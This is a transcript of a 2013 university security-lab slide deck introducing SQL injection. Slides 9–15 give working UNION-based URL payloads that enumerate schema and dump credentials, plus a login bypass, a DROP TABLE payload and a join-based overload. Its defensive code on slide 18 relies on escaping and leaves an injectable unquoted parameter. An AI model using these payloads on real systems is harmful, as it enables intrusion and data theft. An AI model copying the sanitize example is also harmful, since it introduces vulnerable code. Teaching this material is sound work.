Top Banner
Security Lab, University Putra Malaysia 23 May 2013 Sina Manavi Contact:http ://sinamanavi.blogspot.com/p/about-me.htm l
22

A Brief Introduction in SQL Injection

Nov 19, 2014

Download

Education

Sina Manavi

 
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: A Brief Introduction in SQL Injection

Security Lab, University Putra Malaysia23 May 2013 Sina Manavi

Contact:http://sinamanavi.blogspot.com/p/about-me.html

Page 2: A Brief Introduction in SQL Injection

• Introduction• Why SQL Injection• What is needed for this• What you can do with SQL Injection• What are its pros and cons• Why we need to know and how we can prevent our

database from SQL injection attacks

Page 3: A Brief Introduction in SQL Injection

We are all familiar with SQL Language One of the technology that helped in converting the static

web to dynamic oneSQL is relatively easy to read, a little more difficult to writeWorks on Servers such as Apache, MS Server, etc.

SQL Injection means manipulate SQL tables with unauthorized access

Page 4: A Brief Introduction in SQL Injection
Page 5: A Brief Introduction in SQL Injection

SQL Injection may happen only two form of UI based or URL based◦ (1) Injecting into a form. Such as username and

password boxes on a login page.

◦ (2) Injecting into a URL. Like http://yourtarget.com/products/list.php?pid=10

Page 6: A Brief Introduction in SQL Injection

Simple example:

Select ID from tbl_users◦ Where ID=“Uid” and pass=“pass”

◦ If it returns any value means that the current inputs are correct

Page 7: A Brief Introduction in SQL Injection

www.yourtarget.com/list?id=5

if you want to view a record from a table by the URL based injection: Select * from tbl_users

Where id=5

Page 8: A Brief Introduction in SQL Injection

The "INFORMATION_SCHEMA" holds the names of every table and column on a site, its name will never change.◦ Tables holding all the tables name:

"INFORMATION_SCHEMA.TABLES.“

◦ Tables holding all the Column name: "INFORMATION_SCHEMA.COLUMNS.“

Page 9: A Brief Introduction in SQL Injection

Finding the URL quantity:◦ www.yourtarget.com/list.php? ID=10+ORDER+BY+1--Increase the 1 , until you got error, then the last number is

the column number Finding Table name◦ www.yourtarget.com/list.php? ID=-

1+UNION+SELECT+1,2,3+FROM+INFORMATION_SCHEMA.TABLES--

And it shows:tbl_user

To Be continued

Page 10: A Brief Introduction in SQL Injection

Now its time to find out the Column names:www.yourtarget.com/list.php? ID =

-1+UNION+SELECT+1,column_name,3+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=‘tbl_user'--

The result would be as following : id,username,password

Column names finding step: www.yourtarget.com/list.php? ID =

-1+UNION+SELECT+1,column_name,3+FROM+INFORMATION_SCHEMA.COLUMNS

+WHERE+table_name='UserAccounts'+AND+column_name>'displayed_column'—

Try the columns name until you find your target (e.g username,password, or login)

Page 11: A Brief Introduction in SQL Injection

And Finally its time to see the records:◦ www.yourtarget.com/list.php? =-

1+UNION+SELECT+1,username,3+FROM+UserAccounts—

And ◦ www.yourtarget.com/list.php? =-

1+UNION+SELECT+1,password,3+FROM+UserAccounts—

◦ Username=admin password=123456

◦ Stupid admin ha ;)

Page 12: A Brief Introduction in SQL Injection

Now we can Alter the records as well, lets rock

UPDATE tbl_userSET password = SHA2('$password')WHERE id = $idOr we can Insert a new user with Insert

Command

Page 13: A Brief Introduction in SQL Injection

If user_list contains 1000 records then, the database is fired up

SELECT * FROM user_list JOIN user_list JOIN user_list JOIN user_list JOIN user_list JOIN user_list

Page 14: A Brief Introduction in SQL Injection

Insert newuser into tbl_user

The maliciouse code can be :

DROP table tbl_user

Page 15: A Brief Introduction in SQL Injection

How it worksSelect * from tbl_users

Where id=“Fname” and pass=“pass” Malicious Code:SELECT * FROM table WHERE id= ‘Fname' or

'1'='1';if(mysql_num_rows($result))//do login

Now the unauthorized user get accessed easily and bypassed the authorization

Page 16: A Brief Introduction in SQL Injection

Security is the developer’s job No database, connector, or framework can prevent SQL injection all the time

Page 17: A Brief Introduction in SQL Injection

• Implement proper Error Handling. This would include using a single error message for all errors.

• Lock down User Database configuration, Specify users, roles and permissions etc.

• prefix and append a quote to all user input, even if the data is numeric .

Page 18: A Brief Introduction in SQL Injection

<?phpfunction sanitize($string){ $string = strip_tags($string); $string = htmlspecialchars($string);$string = trim(rtrim(ltrim($string))); $string = mysql_real_escape_string($string);return $string;}$password = sanitize( $_POST["password"] );mysql_query("UPDATE Users SET password = '$password' WHERE user_id = $user_id");

Page 19: A Brief Introduction in SQL Injection

Vipin Samar, Oracle vice president of Database Security:

“Database Firewall is a good first layer of defense for databases but it won't protect you from everything,”

Page 20: A Brief Introduction in SQL Injection

Using Stroprocedures:CREATE PROCEDURE SP_show_user(IN U_ID)BEGINSELECT * FROM Bugs WHERE User_ID= U_ID;END

CALL SP_show_user (54)

“Might be helpful but still vulnerable”

Page 21: A Brief Introduction in SQL Injection

I don’t have to worry anymore Escaping is the fixthe fix More escaping is better I can code an escaping function Only user input is unsafe Stored procs are the fixthe fix SQL privileges are the fixthe fix My app doesn’t need security Frameworks are the fixthe fix Parameters quote for you Parameters are the fixthe fix Parameters make queries slow SQL proxies are the fixthe fix NoSQL databases are the fixthe fix

Page 22: A Brief Introduction in SQL Injection

NoSQL databases are immune to SQL injection.